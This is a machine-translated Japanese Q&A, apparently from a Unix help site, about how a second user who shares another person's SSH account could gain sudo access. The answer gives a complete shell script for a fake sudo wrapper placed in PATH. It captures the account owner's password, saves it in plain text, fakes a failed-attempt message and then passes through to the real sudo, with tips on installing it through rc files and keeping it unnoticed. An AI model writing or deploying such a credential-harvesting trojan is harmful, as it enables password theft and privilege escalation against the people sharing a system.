背景:Debian Linux。
Aliceはコンピュータにユーザーアカウントを持っています。彼女はsudoerの一人であり、安全なパスワードを持っています。彼女はSSHキーのみを使用してコンピュータにSSHで接続します(パスワードは機能しません)。
一部の管理エラーのため、ボブは別のアカウントを取得するのではなく、同じアカウントへのアクセス権を取得しました。彼のSSHキーがに追加されましたauthorized_keys
。ボブはアリスからパスワードを取得できませんでした。
Bobはどのようにsudoを正常に実行しますか?もし、仮定しよう:
- Bobは、AliceのアカウントへのSSHアクセスに加えて、サーバーへのアクセス権を持っていません。
- Aliceは定期的に自分のアカウントに接続し、sudoのようなことをします。
アリスの協力がなければ不可能だったと思います。だから私はsudoを最初にパスワードを記録するエイリアスに変えるようなフィッシングやソーシャルエンジニアリング攻撃を探しています。
これは、基本的に(未知の)ユーザー協力の利点が追加された従来のルートアップグレードの問題です。
答え1
過去にはsudo
トークンがターミナルセッション全体で有効だったので、アリスの助けなしにこれが可能でした。 BobはAliceが認証するのを待ってから、パスワードを入力せずsudo
にsudo
自分自身を使用することができました。
端末固有のトークンを使用しても、Aliceが常に自分の環境を徹底的に確認しない限り、ここで説明されているシナリオでAliceのパスワードを取得するのは比較的簡単です。
Aliceのアカウントを使用して、次のようなものを作成
~/.bin/sudo
します。#!/bin/sh if [ $# = 0 ]; then exec /usr/bin/sudo; fi if [ ! -f ~/.bin/alices-password ]; then echo -n "[sudo] password for $USER: " read -s password echo echo ${password} > ~/.bin/alices-password sleep 2 echo "Sorry, try again." /usr/bin/sudo -k fi exec /usr/bin/sudo "$@"
~/.bin
Aliceが使用するシェルに応じて適切なrcファイルに追加するパス。- Aliceがシェルで使用されるのを待っている間、次
sudo
の存在が見つかりました。~/.bin/sudo
Bobは、特別なバリエーションを無効にする前にパスワードが表示されるのを待ってから自分で試すことができます~/.bin/alices-password
(目立たない方法でこれを行うことは読者にとって練習になります。シェルがパスをキャッシュすることを覚えておいてください。 ..).
上記のスクリプトには、特にsudo -k
「申し訳ありません。もう一度お試しください」というフレーズを確認するいくつかの微妙な部分があります。実際に次にパスワードを尋ねますsudo
。スクリプトはさらに改善することができます。これは読者のためのもう一つの練習です!
あなたが想像できるように、これは唯一の方法ではありません...